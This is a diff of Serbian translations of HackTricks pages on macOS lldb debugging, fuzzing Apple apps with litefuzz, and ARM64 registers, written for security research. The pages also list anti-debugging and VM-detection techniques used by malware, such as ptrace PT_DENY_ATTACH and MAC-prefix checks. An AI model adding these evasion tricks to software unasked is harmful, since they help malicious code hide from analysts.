settings set target.x86-disassembly-flavor intel
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Unutar lldb-a, izvršite dump procesa pomoću `process save-core`
|
Unutar lldb-a, dumpuj proces sa `process save-core`
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komanda</strong></td><td><strong>Opis</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Pokretanje izvršavanja, koje će se nastaviti dok se ne naiđe na prekidnu tačku ili dok se proces ne završi.</td></tr><tr><td><strong>continue (c)</strong></td><td>Nastavak izvršavanja procesa u debug modu.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Izvršava sledeću instrukciju. Ova komanda će preskočiti pozive funkcija.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Izvršava sledeću instrukciju. Za razliku od komande nexti, ova komanda će ući u pozive funkcija.</td></tr><tr><td><strong>finish (f)</strong></td><td>Izvršava preostale instrukcije u trenutnoj funkciji ("okviru") i zaustavlja se.</td></tr><tr><td><strong>control + c</strong></td><td>Pauzira izvršavanje. Ako je proces pokrenut (r) ili nastavljen (c), ovo će uzrokovati zaustavljanje procesa ... gde god se trenutno izvršava.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Bilo koja funkcija koja se zove main</p><p>b <ime_binarnog_fajla>`main #Main funkcija binarnog fajla</p><p>b set -n main --shlib <ime_biblioteke> #Main funkcija određenog binarnog fajla</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Lista prekidnih tačaka</p><p>br e/dis <broj> #Omogući/Onemogući prekidnu tačku</p><p>breakpoint delete <broj></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Dobijanje pomoći za komandu breakpoint</p><p>help memory write #Dobijanje pomoći za pisanje u memoriju</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <adresa_registra/memorije></strong></td><td>Prikazuje memoriju kao string sa nulama na kraju.</td></tr><tr><td><strong>x/i <adresa_registra/memorije></strong></td><td>Prikazuje memoriju kao asemblersku instrukciju.</td></tr><tr><td><strong>x/b <adresa_registra/memorije></strong></td><td>Prikazuje memoriju kao bajt.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Ovo će ispisati objekat na koji se parametar odnosi</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Napomena: Većina Apple-ovih Objective-C API-ja ili metoda vraća objekte i treba ih prikazati putem "print object" (po) komande. Ako po ne daje smislene rezultate, koristite <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Upisuje AAAA na tu adresu<br>memory write -f s $rip+0x11f+7 "AAAA" #Upisuje AAAA na tu adresu</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disasembler trenutne funkcije</p><p>dis -n <ime_funkcije> #Disasembler funkcije</p><p>dis -n <ime_funkcije> -b <ime_binarnog_fajla> #Disasembler funkcije<br>dis -c 6 #Disasembler 6 linija<br>dis -c 0x100003764 -e 0x100003768 #Od jedne adrese do druge<br>dis -p -c 4 #Počinje od trenutne adrese disasemblera</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 #Proverava niz od 3 komponente u registru x1</td></tr></tbody></table>
|
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Komanda</strong></td><td><strong>Opis</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Pokretanje izvršenja, koje će se nastaviti dok se ne naiđe na prekid ili dok se proces ne završi.</td></tr><tr><td><strong>continue (c)</strong></td><td>Nastavak izvršenja debugovanog procesa.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Izvršava sledeću instrukciju. Ova komanda će preskočiti pozive funkcija.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Izvršava sledeću instrukciju. Za razliku od nexti komande, ova komanda će ući u pozive funkcija.</td></tr><tr><td><strong>finish (f)</strong></td><td>Izvršava preostale instrukcije u trenutnoj funkciji ("frame") i zaustavlja se.</td></tr><tr><td><strong>control + c</strong></td><td>Pauzira izvršenje. Ako je proces pokrenut (r) ili nastavljen (c), ovo će uzrokovati zaustavljanje procesa ...gde god se trenutno izvršava.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Bilo koja funkcija nazvana main</p><p>b <ime_binarne_datoteke>`main #Glavna funkcija binarne datoteke</p><p>b set -n main --shlib <ime_biblioteke> #Glavna funkcija naznačene binarne datoteke</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Lista prekida</p><p>br e/dis <br> #Omogući/Onemogući prekid</p><p>breakpoint delete <br></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Dobijanje pomoći za komandu prekida</p><p>help memory write #Dobijanje pomoći za pisanje u memoriju</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/adresa_memorije></strong></td><td>Prikazuje memoriju kao string sa null-terminatorom.</td></tr><tr><td><strong>x/i <reg/adresa_memorije></strong></td><td>Prikazuje memoriju kao asemblersku instrukciju.</td></tr><tr><td><strong>x/b <reg/adresa_memorije></strong></td><td>Prikazuje memoriju kao bajt.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Ovo će ispisati objekat na koji se parametar odnosi</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Imajte na umu da većina Apple-ovih Objective-C API-ja ili metoda vraća objekte, i stoga bi trebalo da se prikažu putem "print object" (po) komande. Ako po ne proizvodi smislene rezultate, koristite <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Upisuje AAAA na tu adresu<br>memory write -f s $rip+0x11f+7 "AAAA" #Upisuje AAAA na adresu</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Disasembleruje trenutnu funkciju</p><p>dis -n <ime_funkcije> #Disasembleruje funkciju</p><p>dis -n <ime_funkcije> -b <ime_datoteke> #Disasembleruje funkciju<br>dis -c 6 #Disasembleruje 6 linija<br>dis -c 0x100003764 -e 0x100003768 # Od jedne adrese do druge<br>dis -p -c 4 # Počinje sa trenutnom adresom disasemblerovanja</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Proverava niz od 3 komponente u x1 registru</td></tr></tbody></table>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Prilikom pozivanja funkcije **`objc_sendMsg`**, registar **rsi** sadrži **ime metode** kao string završen sa nulom ("C"). Da biste ispisali ime putem lldb-a, uradite sledeće:
|
Prilikom pozivanja funkcije **`objc_sendMsg`**, registar **rsi** sadrži **ime metode** kao string sa null-terminatorom ("C"). Da biste ispisali ime putem lldb-a, uradite sledeće:
|
||||||
|
|
||||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||||
|
|
||||||
|
@ -423,24 +372,24 @@ Prilikom pozivanja funkcije **`objc_sendMsg`**, registar **rsi** sadrži **ime m
|
||||||
|
|
||||||
#### Detekcija virtuelne mašine
|
#### Detekcija virtuelne mašine
|
||||||
|
|
||||||
* Komanda **`sysctl hw.model`** vraća "Mac" kada je **host MacOS**, ali nešto drugo kada je virtuelna mašina.
|
* Komanda **`sysctl hw.model`** vraća "Mac" kada je **domaćin MacOS**, ali nešto drugo kada je virtuelna mašina.
|
||||||
* Igrajući se sa vrednostima **`hw.logicalcpu`** i **`hw.physicalcpu`**, neki malveri pokušavaju da otkriju da li je u pitanju virtuelna mašina.
|
* Igranje sa vrednostima **`hw.logicalcpu`** i **`hw.physicalcpu`** neki malveri pokušavaju da detektuju da li je u pitanju virtuelna mašina.
|
||||||
* Neki malveri takođe mogu **detektovati** da li je mašina **bazirana na VMware-u** na osnovu MAC adrese (00:50:56).
|
* Neki malveri takođe mogu **detektovati** da li je mašina zasnovana na **VMware-u** na osnovu MAC adrese (00:50:56).
|
||||||
* Takođe je moguće utvrditi da li se proces **debuguje** pomoću jednostavnog koda kao što je:
|
* Moguće je otkriti da li se **proces debuguje** jednostavnim kodom poput:
|
||||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proces se debuguje }`
|
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proces se debuguje }`
|
||||||
* Može se takođe pozvati sistemski poziv **`ptrace`** sa zastavicom **`PT_DENY_ATTACH`**. Ovo **onemogućava** debageru da se poveže i prati.
|
* Takođe se može pozvati sistemski poziv **`ptrace`** sa zastavicom **`PT_DENY_ATTACH`**. Ovo **sprečava** deb**a**ger da se poveže i prati.
|
||||||
* Možete proveriti da li se funkcija **`sysctl`** ili **`ptrace`** **uvozi** (ali malver bi mogao da je uveze dinamički)
|
* Možete proveriti da li se funkcija **`sysctl`** ili **`ptrace`** **uvozi** (ali malver bi mogao da je dinamički uveze)
|
||||||
* Kao što je navedeno u ovom članku, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
* Kao što je navedeno u ovom tekstu, “[Pobeda nad tehnikama protiv-debugovanja: macOS ptrace varijante](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||||
“_Poruka Process # exited with **status = 45 (0x0000002d)** obično je jasan znak da je cilj debugovanja koristio **PT\_DENY\_ATTACH**_”
|
“_Poruka Proces # je završen sa **statusom = 45 (0x0000002d)** obično je znak da je cilj debugovanja koristi **PT\_DENY\_ATTACH**_”
|
||||||
## Fuzziranje
|
## Fuzzing
|
||||||
|
|
||||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||||
|
|
||||||
ReportCrash **analizira procese koji se ruše i čuva izveštaj o rušenju na disku**. Izveštaj o rušenju sadrži informacije koje mogu **pomoći programeru da dijagnostikuje** uzrok rušenja.\
|
ReportCrash **analizira procese koji se ruše i čuva izveštaj o rušenju na disku**. Izveštaj o rušenju sadrži informacije koje mogu **pomoći programeru da dijagnostikuje** uzrok rušenja.\
|
||||||
Za aplikacije i druge procese **koji se izvršavaju u kontekstu pokretača specifičnog za korisnika**, ReportCrash se pokreće kao LaunchAgent i čuva izveštaje o rušenju u direktorijumu `~/Library/Logs/DiagnosticReports/` korisnika.\
|
Za aplikacije i druge procese **koji se izvršavaju u kontekstu pokretanja po korisniku**, ReportCrash se izvršava kao LaunchAgent i čuva izveštaje o rušenju u `~/Library/Logs/DiagnosticReports/` korisnika.\
|
||||||
Za demone, druge procese **koji se izvršavaju u kontekstu sistema pokretača** i druge privilegovane procese, ReportCrash se pokreće kao LaunchDaemon i čuva izveštaje o rušenju u direktorijumu `/Library/Logs/DiagnosticReports` sistema.
|
Za demone, druge procese **koji se izvršavaju u kontekstu pokretanja po sistemu** i druge privilegovane procese, ReportCrash se izvršava kao LaunchDaemon i čuva izveštaje o rušenju u `/Library/Logs/DiagnosticReports` sistema.
|
||||||
|
|
||||||
Ako vas brine slanje izveštaja o rušenju **Apple-u**, možete ih onemogućiti. U suprotnom, izveštaji o rušenju mogu biti korisni za **utvrđivanje načina na koji je server pao**.
|
Ako vas brine slanje izveštaja o rušenju **Apple-u**, možete ih onemogućiti. U suprotnom, izveštaji o rušenju mogu biti korisni za **određivanje načina na koji je server pao**.
|
||||||
```bash
|
```bash
|
||||||
#To disable crash reporting:
|
#To disable crash reporting:
|
||||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||||
|
@ -452,15 +401,15 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
|
||||||
```
|
```
|
||||||
### Spavanje
|
### Spavanje
|
||||||
|
|
||||||
Prilikom izvođenja fuziranja na MacOS-u važno je sprečiti Mac da zaspi:
|
Prilikom faziiranja u MacOS-u važno je sprečiti Mac da zaspi:
|
||||||
|
|
||||||
* systemsetup -setsleep Never
|
* systemsetup -setsleep Nikada
|
||||||
* pmset, System Preferences
|
* pmset, System Preferences
|
||||||
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
|
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
|
||||||
|
|
||||||
#### Prekid SSH veze
|
#### SSH Prekid
|
||||||
|
|
||||||
Ako izvodite fuziranje putem SSH veze, važno je osigurati da se sesija ne prekida. Promenite sshd\_config datoteku na sledeći način:
|
Ako faziirate putem SSH veze važno je osigurati da sesija neće isteći. Promenite sshd\_config datoteku sa:
|
||||||
|
|
||||||
* TCPKeepAlive Yes
|
* TCPKeepAlive Yes
|
||||||
* ClientAliveInterval 0
|
* ClientAliveInterval 0
|
||||||
|
@ -471,15 +420,13 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
||||||
```
|
```
|
||||||
### Interni rukovaoci
|
### Interni rukovaoci
|
||||||
|
|
||||||
**Pogledajte sledeću stranicu** da biste saznali kako možete pronaći koja aplikacija je odgovorna za **obradu određene šeme ili protokola:**
|
**Proverite sledeću stranicu** da biste saznali kako možete pronaći koja je aplikacija odgovorna za **obradu određene šeme ili protokola:**
|
||||||
|
|
||||||
{% content-ref url="../macos-file-extension-apps.md" %}
|
{% content-ref url="../macos-file-extension-apps.md" %}
|
||||||
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Enumeracija mrežnih procesa
|
### Enumeracija mrežnih procesa
|
||||||
|
|
||||||
Ovo je interesantno za pronalaženje procesa koji upravljaju mrežnim podacima:
|
|
||||||
```bash
|
```bash
|
||||||
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
|
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
|
||||||
#wait some time
|
#wait some time
|
||||||
|
@ -506,9 +453,11 @@ Radi za CLI alate
|
||||||
|
|
||||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||||
|
|
||||||
Radi sa macOS GUI alatima. Napomena: neki macOS aplikacije imaju specifične zahteve kao što su jedinstvena imena fajlova, odgovarajuća ekstenzija, potreba za čitanjem fajlova iz sandbox-a (`~/Library/Containers/com.apple.Safari/Data`)...
|
On "**samo radi"** sa macOS GUI alatima. Imajte na umu da neki macOS aplikacije imaju specifične zahteve kao što su jedinstvena imena datoteka, ispravna ekstenzija, potreba za čitanjem datoteka iz peska (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||||
|
|
||||||
Primeri:
|
Neki primeri:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
# iBooks
|
# iBooks
|
||||||
litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez
|
litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez
|
||||||
|
@ -534,7 +483,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
### Više informacija o Fuzzing-u na MacOS-u
|
### Više informacija o Fuzzingu na MacOS-u
|
||||||
|
|
||||||
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||||
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||||
|
@ -554,10 +503,10 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
## **Nivoi izuzetaka - EL (ARM64v8)**
|
## **Nivoi izuzetaka - EL (ARM64v8)**
|
||||||
|
|
||||||
U arhitekturi ARMv8, nivoi izvršenja, poznati kao Nivoi izuzetaka (ELs), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, pri čemu svaki služi različitoj svrsi:
|
U ARMv8 arhitekturi, nivoi izvršenja, poznati kao Nivoi izuzetaka (ELs), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, pri čemu svaki služi različitoj svrsi:
|
||||||
|
|
||||||
1. **EL0 - Korisnički režim**:
|
1. **EL0 - Korisnički režim**:
|
||||||
* Ovo je nivo sa najmanje privilegija i koristi se za izvršavanje redovnog aplikativnog koda.
|
* Ovo je nivo sa najmanje privilegija i koristi se za izvršavanje redovnog aplikativnog koda.
|
||||||
|
@ -37,43 +37,43 @@ Korišćenje ovih nivoa omogućava strukturisan i siguran način upravljanja raz
|
||||||
|
|
||||||
ARM64 ima **31 registar opšte namene**, označenih kao `x0` do `x30`. Svaki može čuvati vrednost od **64 bita** (8 bajtova). Za operacije koje zahtevaju samo vrednosti od 32 bita, isti registri mogu se pristupiti u režimu od 32 bita koristeći imena w0 do w30.
|
ARM64 ima **31 registar opšte namene**, označenih kao `x0` do `x30`. Svaki može čuvati vrednost od **64 bita** (8 bajtova). Za operacije koje zahtevaju samo vrednosti od 32 bita, isti registri mogu se pristupiti u režimu od 32 bita koristeći imena w0 do w30.
|
||||||
|
|
||||||
1. **`x0`** do **`x7`** - Ovi se obično koriste kao registri za prolazak i prosleđivanje parametara podrutinama.
|
1. **`x0`** do **`x7`** - Ovi se obično koriste kao registri za prolazak parametara podrutinama.
|
||||||
* **`x0`** takođe nosi povratne podatke funkcije.
|
* **`x0`** takođe nosi povratne podatke funkcije.
|
||||||
2. **`x8`** - U Linux jezgru, `x8` se koristi kao broj sistema poziva za `svc` instrukciju. **U macOS-u se koristi x16!**
|
2. **`x8`** - U Linux jezgru, `x8` se koristi kao broj sistema poziva za `svc` instrukciju. **Na macOS-u se koristi x16!**
|
||||||
3. **`x9`** do **`x15`** - Dodatni privremeni registri, često korišćeni za lokalne promenljive.
|
3. **`x9`** do **`x15`** - Dodatni privremeni registri, često korišćeni za lokalne promenljive.
|
||||||
4. **`x16`** i **`x17`** - **Registri za unutarproceduralne pozive**. Privremeni registri za neposredne vrednosti. Koriste se i za indirektne pozive funkcija i PLT (Procedure Linkage Table) stubove.
|
4. **`x16`** i **`x17`** - **Registri za unutarproceduralne pozive**. Privremeni registri za neposredne vrednosti. Koriste se i za indirektne pozive funkcija i PLT (Procedure Linkage Table) stubove.
|
||||||
* **`x16`** se koristi kao **broj sistema poziva** za **`svc`** instrukciju u **macOS-u**.
|
* **`x16`** se koristi kao **broj sistema poziva** za **`svc`** instrukciju na **macOS-u**.
|
||||||
5. **`x18`** - **Registar platforme**. Može se koristiti kao registar opšte namene, ali na nekim platformama, ovaj registar je rezervisan za platformno specifične svrhe: Pokazivač na trenutni blok okruženja niti u Windows-u, ili pokazivač na trenutno **izvršnu strukturu zadatka u jezgru Linux-a**.
|
5. **`x18`** - **Registar platforme**. Može se koristiti kao registar opšte namene, ali na nekim platformama je ovaj registar rezervisan za specifične platforme: Pokazivač na trenutni blok okruženja niti u Windows-u, ili pokazivač na trenutno **izvršavajuću strukturu zadatka u jezgru Linux-a**.
|
||||||
6. **`x19`** do **`x28`** - Ovo su registri sačuvani za pozvane funkcije. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, tako da se čuvaju na steku i vraćaju pre povratka pozivaocu.
|
6. **`x19`** do **`x28`** - Ovo su registri sačuvani za pozvane funkcije. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, pa se čuvaju na steku i vraćaju pre povratka pozivaocu.
|
||||||
7. **`x29`** - **Pokazivač okvira** za praćenje okvira steka. Kada se kreira novi okvir steka jer je funkcija pozvana, **`x29`** registar se **čuva na steku** i nova adresa okvira (**adresa `sp`**) se **čuva u ovom registru**.
|
7. **`x29`** - **Pokazivač okvira** za praćenje okvira steka. Kada se kreira novi okvir steka jer je funkcija pozvana, **`x29`** registar se **čuva na steku** i nova adresa okvira (**adresa `sp`**) se **čuva u ovom registru**.
|
||||||
* Ovaj registar takođe može se koristiti kao **registar opšte namene**, iako se obično koristi kao referenca na **lokalne promenljive**.
|
* Ovaj registar takođe može se koristiti kao **registar opšte namene**, iako se obično koristi kao referenca na **lokalne promenljive**.
|
||||||
8. **`x30`** ili **`lr`**- **Registar linka**. Čuva **adresu povratka** kada se izvrši `BL` (Branch with Link) ili `BLR` (Branch with Link to Register) instrukcija čuvajući vrednost **`pc`** u ovom registru.
|
8. **`x30`** ili **`lr`**- **Registar linka**. Čuva **adresu povratka** kada se izvrši `BL` (Branch with Link) ili `BLR` (Branch with Link to Register) instrukcija čuvajući vrednost **`pc`** u ovom registru.
|
||||||
* Može se koristiti kao i svaki drugi registar.
|
* Može se koristiti kao i svaki drugi registar.
|
||||||
* Ako trenutna funkcija namerava pozvati novu funkciju i time prepisati `lr`, čuvaće je na steku na početku, ovo je epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Čuvanje `fp` i `lr`, generisanje prostora i dobijanje novog `fp`) i vraćaće je na kraju, ovo je prolog (`ldp x29, x30, [sp], #48; ret` -> Vraćanje `fp` i `lr` i povratak).
|
* Ako trenutna funkcija namerava pozvati novu funkciju i time prepisati `lr`, čuvaće je na steku na početku, ovo je epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Čuvanje `fp` i `lr`, generisanje prostora i dobijanje novog `fp`) i vraćaće je na kraju, ovo je prolog (`ldp x29, x30, [sp], #48; ret` -> Vraćanje `fp` i `lr` i povratak).
|
||||||
9. **`sp`** - **Pokazivač steka**, koristi se za praćenje vrha steka.
|
9. **`sp`** - **Pokazivač steka**, koristi se za praćenje vrha steka.
|
||||||
* Vrednost **`sp`** uvek treba da bude održavana na bar **kvadrovskom** **poravnanju** ili može doći do greške poravnanja.
|
* Vrednost **`sp`** uvek treba da bude održavana na bar **quadword** **poravnanju** ili može doći do greške poravnanja.
|
||||||
10. **`pc`** - **Brojač programa**, koji pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo putem generisanja izuzetaka, povratka izuzetaka i skokova. Jedine obične instrukcije koje mogu čitati ovaj registar su instrukcije skoka sa linkom (BL, BLR) za čuvanje adrese **`pc`** u **`lr`** (Registar linka).
|
10. **`pc`** - **Brojač programa**, koji pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo putem generisanja izuzetaka, povrataka izuzetaka i skokova. Jedine obične instrukcije koje mogu čitati ovaj registar su instrukcije skoka sa linkom (BL, BLR) za čuvanje adrese **`pc`** u **`lr`** (Registar linka).
|
||||||
11. **`xzr`** - **Registar nula**. Takođe nazvan **`wzr`** u svom obliku registra od **32** bita. Može se koristiti za lako dobijanje vrednosti nula (uobičajena operacija) ili za obavljanje poređenja koristeći **`subs`** kao **`subs XZR, Xn, #10`** čuvajući rezultirajuće podatke nigde (u **`xzr`**).
|
11. **`xzr`** - **Registar nula**. Takođe nazvan **`wzr`** u svom obliku registra od **32** bita. Može se koristiti za lako dobijanje vrednosti nula (uobičajena operacija) ili za obavljanje poređenja koristeći **`subs`** kao **`subs XZR, Xn, #10`** čuvajući rezultujuće podatke nigde (u **`xzr`**).
|
||||||
|
|
||||||
Registri **`Wn`** su **32-bitna** verzija registra **`Xn`**.
|
Registri **`Wn`** su **32-bitna** verzija registra **`Xn`**.
|
||||||
|
|
||||||
### SIMD i Registri za plutanje sa pokretnim zarezom
|
### SIMD i Registri za plutanje sa pokretnim zarezom
|
||||||
|
|
||||||
Pored toga, postoje još **32 registra dužine od 128 bita** koji se mogu koristiti u optimizovanim operacijama jedne instrukcije sa više podataka (SIMD) i za obavljanje aritmetike sa pokretnim zarezom. Oni se nazivaju Vn registri, iako mogu raditi i u **64**-bitnom, **32**-bitnom, **16**-bitnom i **8**-bitnom režimu, tada se nazivaju **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
Pored toga, postoje još **32 registra dužine 128 bita** koji se mogu koristiti u optimizovanim operacijama jedne instrukcije sa više podataka (SIMD) i za obavljanje aritmetike sa pokretnim zarezom. Oni se nazivaju Vn registri iako mogu raditi i u **64**-bitnom, **32**-bitnom, **16**-bitnom i **8**-bitnom režimu, tada se nazivaju **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
|
||||||
### Registri sistema
|
### Sistemski registri
|
||||||
|
|
||||||
**Postoje stotine sistema registara**, takođe nazvanih registri specijalne namene (SPR), koji se koriste za **praćenje** i **kontrolu** **ponašanja procesora**.\
|
**Postoje stotine sistemskih registara**, takođe nazvanih registri sa posebnom svrhom (SPR), koji se koriste za **praćenje** i **kontrolu** **ponašanja procesora**.\
|
||||||
Mogu se samo čitati ili postavljati korišćenjem posebne instrukcije **`mrs`** i **`msr`**.
|
Mogu se samo čitati ili postavljati korišćenjem posebne instrukcije **`mrs`** i **`msr`**.
|
||||||
|
|
||||||
Specijalni registri **`TPIDR_EL0`** i **`TPIDDR_EL0`** često se nalaze prilikom reverznog inženjeringa. Sufiks `EL0` označava **minimalni izuzetak** iz kojeg se registar može pristupiti (u ovom slučaju EL0 je redovni nivo izuzetka (privilegija) sa kojim se izvršavaju redovni programi).\
|
Posebni registri **`TPIDR_EL0`** i **`TPIDDR_EL0`** često se nalaze prilikom reverznog inženjeringa. Sufiks `EL0` označava **minimalni izuzetak** iz kojeg se registar može pristupiti (u ovom slučaju EL0 je redovni nivo izuzetka (privilegija) sa kojim se izvršavaju redovni programi).\
|
||||||
Često se koriste za čuvanje **bazne adrese regiona memorije lokalne za nit**. Obično je prvi čitljiv i zapisiv za programe koji se izvršavaju u EL0, ali drugi se može čitati iz EL0 i pisati iz EL1 (kao kernel).
|
Često se koriste za čuvanje **bazne adrese regiona memorije za lokalno skladištenje niti**. Obično je prvi čitljiv i zapisiv za programe koji se izvršavaju u EL0, ali drugi se može čitati iz EL0 i pisati iz EL1 (kao kernel).
|
||||||
|
|
||||||
* `mrs x0, TPIDR_EL0 ; Čitanje TPIDR_EL0 u x0`
|
* `mrs x0, TPIDR_EL0 ; Pročitaj TPIDR_EL0 u x0`
|
||||||
